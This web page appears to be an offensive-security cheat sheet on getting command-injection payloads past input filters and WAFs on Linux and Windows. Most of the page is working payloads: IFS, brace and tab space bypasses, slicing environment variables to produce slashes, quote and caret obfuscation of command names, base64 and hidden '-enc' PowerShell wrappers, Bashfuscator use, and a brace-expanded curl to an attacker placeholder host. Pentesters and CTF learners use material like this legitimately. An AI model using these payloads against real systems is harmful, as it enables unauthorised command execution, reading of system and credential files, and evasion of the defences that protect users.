Filter bypass
When a basic separator gets you “invalid input,” something specific is blacklisted - operators, spaces, slashes, or command names. Reduce the payload character-by-character to find the trigger, then swap it for an equivalent.
# Space bypass{ls,-la} # brace expansionls${IFS}-la # IFS variablels%09-la # tab (URL-encoded)
# Slash bypass${PATH:0:1} # = "/"${HOME:0:1} # = "/" (usually)
# Command obfuscationw'h'o'am'i # quote insertionwho$@ami # positional param$(rev<<<imaohw) # reversedbash<<<$(base64 -d<<<<base64>) # base64 wrapperThis page is single-page (not OS-tabbed) because filter bypass tricks are deeply OS-specific - Linux env var slicing and Windows %VAR:~start,end% syntax don’t cross-translate, and tab-syncing would force you to re-find the same trick under both tabs.
Identifying what’s filtered
Section titled “Identifying what’s filtered”-
Confirm a working baseline. Send the legitimate input. Page returns success.
-
Add one character at a time. Append your separator, then build up:
127.0.0.1,127.0.0.1;,127.0.0.1;i,127.0.0.1;id. The first request that fails identifies the filtered character or substring. -
Check separator variants. If
;fails, try\n(%0a),&(%26),|(%7c),&&,||,`,$(). Newline is rarely blacklisted. -
Check the command name. If
;idfails but;<random>returns a different error, the command is blacklisted, not the separator. Move to command obfuscation. -
Check spaces. Send
;id(works) then;id(fails) - space is filtered. Move to space bypass.
Space bypass
Section titled “Space bypass”Spaces are the most commonly blocked character because legitimate inputs (IPs, hostnames, filenames) shouldn’t contain them.
Tab character (%09)
The simplest substitute. Bash treats tab and space identically as argument separators.
;id%09-a # `id -a`;cat%09/etc/passwd${IFS} - Internal Field Separator
Bash variable that expands to whitespace (space, tab, newline by default).
;ls${IFS}-la;cat${IFS}/etc/passwd;cat${IFS}$1/etc/passwd # `$1` is empty in default shell context - useful paddingBrace expansion
Bash expands {a,b,c} into a b c with spaces inserted automatically.
;{ls,-la};{cat,/etc/passwd};{curl,<ATTACKER>/x}The brace form is also useful when both spaces and the command name are filtered, because the tokens inside braces aren’t visible as the original command.
Newline
Bash splits commands on newlines too:
%0aid # newline as separator AND argument boundaryLess useful for “space inside a single command” - newline ends the command.
Windows
Section titled “Windows”cmd.exe - comma and semicolon are argument separators
&dir,C:\Users&type;C:\Windows\win.iniPowerShell - backtick newline
;dir`nC:\Users # backtick + n forces newlinePowerShell is much less likely to need space bypass - most cmdlets accept positional arguments without spaces being syntactically required.
Slash bypass
Section titled “Slash bypass”Backslash and forward slash are blocked because they’re needed for paths.
Environment variable slicing
${VAR:start:length} extracts substrings. Pick a variable whose value contains the character you need at a known position.
${PATH:0:1} # /usr/bin... → "/"${HOME:0:1} # /root or /home/x → "/"${PWD:0:1} # current dir → "/"Combined:
;cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd# = cat /etc/passwdOther useful single-character extractions
${LS_COLORS:10:1} # = ";"${PATH:5:1} # often "l" depending on PATHecho ${IFS:0:1} | xxd # confirm what IFS expands to (usually space)To produce an arbitrary character: dump printenv on a similar system and find a variable containing the character at a known index.
Windows
Section titled “Windows”cmd.exe - %VAR:~start,length%
%HOMEPATH:~6,-11% # \Users\<user> → trim to "\"%CD:~0,1% # current dir's first char → "C"Negative length means “trim that many from the end.”
PowerShell - array indexing on string
$env:HOMEPATH[0] # "\"$env:PROGRAMFILES[0] # "C"PowerShell treats strings as char arrays for indexing. No length needed for single chars.
Command name obfuscation
Section titled “Command name obfuscation”Filter blocks the literal command (whoami, cat, wget). Insert characters the shell discards.
Quote insertion (works in bash, sh, dash):
w'h'o'am'i # single quotes - even count requiredw"h"o"am"i # double quotes - even count requiredw''h''o''am''i # multiple quote groups OKDon’t mix ' and " in the same word. Quote count must be even.
Backslash insertion (bash, sh):
w\h\o\am\iNo even-count requirement. Works because \<char> in unquoted context is just <char> to the shell.
Positional parameter $@ (bash):
who$@ami$@ expands to nothing in default shell context.
Variable concatenation:
a=who;b=ami;$a$b # "whoami"a=wh;b=oa;c=mi;$a$b$cUseful when filter scans for the literal substring but doesn’t simulate variable expansion.
Case manipulation (Linux is case-sensitive - these invoke a case-converting wrapper):
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")$(a="WhOaMi";printf %s "${a,,}")Sends mixed case through the request, lowercases at runtime. Useful when the filter is a case-sensitive blacklist and you want to send the command in a case it won’t match.
Reversal:
$(rev<<<'imaohw') # reverses to "whoami", executesFilter sees imaohw, not whoami.
Windows
Section titled “Windows”Caret escape (cmd.exe):
who^ami # ^ is discarded, runs whoamiThe caret is cmd’s escape character; ^<char> becomes <char>. Doesn’t need to be even.
Quote insertion (both shells):
w"h"o"am"iPowerShell case-insensitive:
PowerShell ignores case for cmdlets and built-ins natively:
WhOaMi # works as-isIf the filter is case-sensitive, just change case.
PowerShell reversal:
iex "$('imaohw'[-1..-20] -join '')"Wholesale payload encoding
Section titled “Wholesale payload encoding”When multiple things are filtered (spaces and slashes and command names), encode the entire command and decode at runtime.
Linux - base64
Section titled “Linux - base64”# Encode locallyecho -n 'cat /etc/passwd' | base64 -w0# Output: Y2F0IC9ldGMvcGFzc3dk
# Inject;bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dk)The <<< herestring avoids | (pipe). The full payload:
;bash<<<$(base64%09-d<<<Y2F0IC9ldGMvcGFzc3dk)(%09 for the space inside base64 -d.)
If base64 is filtered, openssl base64 -d and xxd -r -p (for hex) are equivalents:
;bash<<<$(xxd -r -p<<<63617420 2f6574632f706173737764)Windows - PowerShell -EncodedCommand
Section titled “Windows - PowerShell -EncodedCommand”# Encode locally (UTF-16LE base64)echo -n 'Get-Content C:\Users\admin\flag.txt' | iconv -t UTF-16LE | base64 -w0# Output: RwBlAHQALQBDAG8AbgB0AGUAbgB0AC...;powershell -nop -w hidden -enc RwBlAHQALQBDAG8AbgB0AGUAbgB0AC...-EncodedCommand (alias -enc, -e, -ec) accepts UTF-16LE base64. The encoding step is what trips most people up; UTF-8 base64 will not work.
Automated obfuscation
Section titled “Automated obfuscation”When manual techniques aren’t enough - heavy WAF, ML-based detection, layered filters - drop into a generator.
Bashfuscator (Linux)
Section titled “Bashfuscator (Linux)”Bashfuscator/Bashfuscator - generates obfuscated bash that executes a target command.
git clone https://github.com/Bashfuscator/Bashfuscatorcd Bashfuscator && python3 setup.py install --user./bashfuscator/bin/bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1Flags: -s 1 -t 1 --no-mangling --layers 1 keep output short. Without these, Bashfuscator can produce 100KB+ payloads - useless for URL injection.
Test the output locally before sending:
bash -c '<bashfuscator-output>'DOSfuscation (Windows)
Section titled “DOSfuscation (Windows)”danielbohannon/Invoke-DOSfuscation - interactive, generates obfuscated cmd.exe payloads.
git clone https://github.com/danielbohannon/Invoke-DOSfuscationcd Invoke-DOSfuscationImport-Module .\Invoke-DOSfuscation.psd1Invoke-DOSfuscation# Inside the prompt:SET COMMAND type C:\Users\admin\flag.txtencoding1Available on Linux via pwsh (PowerShell Core).
Combining techniques
Section titled “Combining techniques”Real engagements stack filters. Combine bypass techniques into a single payload.
# Filtered: spaces, slashes, "cat", "whoami"# Newline allowed, environment variables allowed
%0a${LS_COLORS:10:1}c'a't${IFS}${PATH:0:1}etc${PATH:0:1}passwdBreakdown:
%0a- newline separator (avoids;)${LS_COLORS:10:1}- produces;for chained commandsc'a't-catwith quote insertion${IFS}- space${PATH:0:1}etc${PATH:0:1}passwd-/etc/passwd
Common failure modes
Section titled “Common failure modes”- Variable doesn’t expand inside the URL. Some frameworks URL-decode but don’t shell-expand
${VAR}until the shell sees it. If your${PATH:0:1}arrives at the shell as the literal string${PATH:0:1}, you’re fine. If it arrives as “ (because something pre-expanded it in an empty context), the shell is wrong - use$PATHwithout slicing and grep for what you need. - Quote insertion breaks inside subshells.
$(rev<<<'imaohw')works at the top level;$(echo $(rev<<<'imaohw'))may not, because nested quoting gets confused. Keep nesting shallow. - Bash-only constructs in
dash.<<<herestrings,${var:offset:length},${var,,},$@shell tricks - all bash-isms. Default/bin/shon Debian/Ubuntu is dash, which lacks them. Wrap withbash -c '...'or use POSIX equivalents (echo X | revinstead ofrev<<<X). - WAF normalizes URL encoding before matching. Filter rule matches
catafter URL decoding. URL-encoding the letters (%63%61%74) doesn’t help - WAF decodes first. You need semantic obfuscation (quote insertion, variable concat), not encoding. - Filter validates after expansion. Some filters run the constructed command string through a deny-list check after substituting variables. If
${PATH:0:1}etc${PATH:0:1}passwdresolves to/etc/passwdand the filter then catchespasswd, no amount of variable slicing helps. Check by submitting payloads where the result contains a benign string and see which fails. - Commands need
bash, onlyshavailable.;bash -c '...'fails with “bash not found” on minimal containers. Usesh,/bin/sh, or a different language entirely (python3 -c '...',perl -e '...').
The order of operations matters: detect the filter, identify what is blocked, then apply the minimum bypass. Stacking every technique into one payload - base64-wrapping a brace-expanded quote-inserted reversed command - works occasionally and fails most of the time because every layer adds a way to break. Start with the simplest bypass (%0a, ${IFS}, w'h'o'am'i) and only escalate when something specific demands it.
For a deeper catalog of bypass tricks, PayloadsAllTheThings - Command Injection has the broadest enumeration. The techniques on this page are the ones that actually land in 80%+ of cmdi engagements.